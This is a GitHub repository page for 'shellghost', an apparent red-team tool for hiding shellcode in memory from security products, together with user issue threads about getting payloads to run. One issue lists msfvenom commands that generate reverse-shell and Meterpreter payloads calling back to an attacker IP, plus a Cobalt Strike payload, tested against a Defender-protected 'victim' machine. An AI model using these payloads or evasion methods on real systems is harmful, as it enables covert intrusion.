lem0nsec / shellghost

A memory-based evasion technique which makes shellcode invisible from process start to end.

Welcome to lem0nSec's GitHub page! 👋

---

					 _                 ___        ____
					| | ___ _ __ ___  / _ \ _ __ / ___|  ___  ___
					| |/ _ \ '_ ` _ \| | | | '_ \\___ \ / _ \/ __|
					| |  __/ | | | | | |_| | | | |___) |  __/ (__
					|_|\___|_| |_| |_|\___/|_| |_|____/ \___|\___|		

---

Hi lem0nS!

I’m a Penetration Tester and Red Teamer Operator who is passionate about programming, reverse engineering, and binary exploitation. I spend most of my spare time researching and building software in C and x86 Assembly. Windows is my platform of choice, and I often define it 'my security playground'. Feel free to explore my GitHub projects!

---

Stats

shellghost's Issues

no reverse shell

Cool stuff. Thank you.
Well, speaking of payloads, winexec works fine, but reverse shell (msfvenom generated) is not firing.
Anybody tried that out?

I hope I don't have to adjust Winapi parameters :-)

some advices

Thank you for your contribution

The coding style is too bad, it is recommended to learn the basic skills first

Unable to get shell code execution.

Hello lem0nSec, thank you for taking the time of making this tool

The current calc shellcode works, this one is provided by your examples, i have tried the following with no dice.

Payloads Tested:

• msfvenom -p windows/shell_reverse_tcp LHOST=192.168.122.22 LPORT=4444 EXITFUNC=thread -e generic/none -f python
• msfvenom -p windows/shell_reverse_tcp LHOST=192.168.122.22 LPORT=4444 EXITFUNC=process -e generic/none -f python
• msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.122.22 LPORT=4444 EXITFUNC=process -e generic/none -f python
• Cobalt Strike stageless payload

Procedure:

• Gather the shellcode, place it in your ShellGhost_mapping.py then execute with ShellGhost_mapping.py -1
• Place the shellcode inside the VS solution
• Compile & Execute
• Expected Results: Reverse shell
• Current Results : 100% CPU usage on both binaries, no callback or reverse shell.

Environment:

• Windows 10 Victim Machine - Windows Defender
• Windows 10 Development Machine - Wo Defender.
• Hacking Machine (Kali Virtual Machine) Updated.

Again thanks for your help.